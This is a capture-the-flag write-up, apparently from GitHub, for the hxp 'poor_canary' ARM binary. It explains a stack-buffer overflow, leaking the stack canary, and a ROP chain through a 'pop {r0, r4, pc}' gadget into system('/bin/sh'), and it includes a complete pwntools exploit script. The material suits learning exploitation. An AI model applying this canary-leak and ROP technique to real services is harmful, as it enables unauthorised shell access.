Skip to content
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
169 lines (138 sloc) 5 KB


poor_canary is a statically linked ARM binary which echoes input.

root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# file canary
canary: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=3599326b9bf146191588a1e13fb3db905951de07, not stripped

The original source code was provided as well, so we can see that (and why) the binary contains system:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main()
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    char buf[40];
    puts("Welcome to hxp's Echo Service!");
    while (1)
        printf("> ");
        ssize_t len = read(0, buf, 0x60);
        if (len <= 0) return 0;
        if (buf[len - 1] == '\n') buf[--len] = 0;
        if (len == 0) return 0;
const void* foo = system;

The binary is not position independent:

root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# checksec canary
[*] '/mnt/c/Users/Benni/hxpctf/poor_canary/canary'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

so IDA can tell us the virtual address where system is (0x00016D90).

The buffer buf on the stack is 40 bytes long, but read will read 0x60 (96) bytes - a classical overflow where we can override the return address. A quick debugging session enlightens us that the return address is 12 bytes behind the canary.

Since the stack is protected by a canary, we have to leak it first. Since canaries always begin with a 00, we have to send 41 characters to retrieve the canary:

resp = io.recvline()
canary = '\x00' + resp[43:-1]

In order to execute `system("/bin/sh"), we need that string somewhere:

root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# ropper -f canary --string "/bin/sh"


Address     Value
-------     -----
0x00071eb0  /bin/sh

So far so good, now we have to move the address into r0 (first argument is in r0):

root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# ropper -f canary --nocolor | fgrep ": pop {r0"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0005ab20: pop {r0, r1, r2, r3, ip, lr}; ldr r1, [r0, #4]; bx r1;
0x0005a120: pop {r0, r1, r2, r3, r4, lr}; bx ip;
0x0005ab04: pop {r0, r1, r3, ip, lr}; pop {r2}; ldr r1, [r0, #4]; bx r1;
0x00026b7c: pop {r0, r4, pc};

pop {r0, r4, pc} looks good: it pops into r0 and pc, so it does everything we need! We just have to

  • write 40 bytes of garbage
  • write the canary
  • write 12 bytes of garbage
  • write the address of our pop gadget (0x00026b7c)
  • write the address of "/bin/sh" (0x00071eb0) (which will be popped into r0)
  • write 4 bytes of garbage (which will be popped into r4)
  • write the address of system (which will be popped into pc) and the pc will point to system, r0 will point to /bin/sh, and thus we will have a shell!
io.send("A"*40 + canary + "A"*12 + "\x7c\x6b\x02\x00" + "\xb0\x1e\x07\x00" + "A"*4 + "\x90\x6D\x01\x00")

Our full exploit script:

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host --port 18113 ./canary
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./canary')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./ GDB PORT=4141
host = args.HOST or ''
port = int(args.PORT or 18113)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./ GDB
gdbscript = '''
break *0x{exe.symbols.main:x}

#                    EXPLOIT GOES HERE
# Arch:     arm-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x10000)

io = start()

# read canary
resp = io.recvline()
canary = '\x00' + resp[43:-1]

io.send("A"*40 + canary + "A"*12 + "\x7c\x6b\x02\x00" + "\xb0\x1e\x07\x00" + "A"*4 + "\x90\x6D\x01\x00")
You can’t perform that action at this time.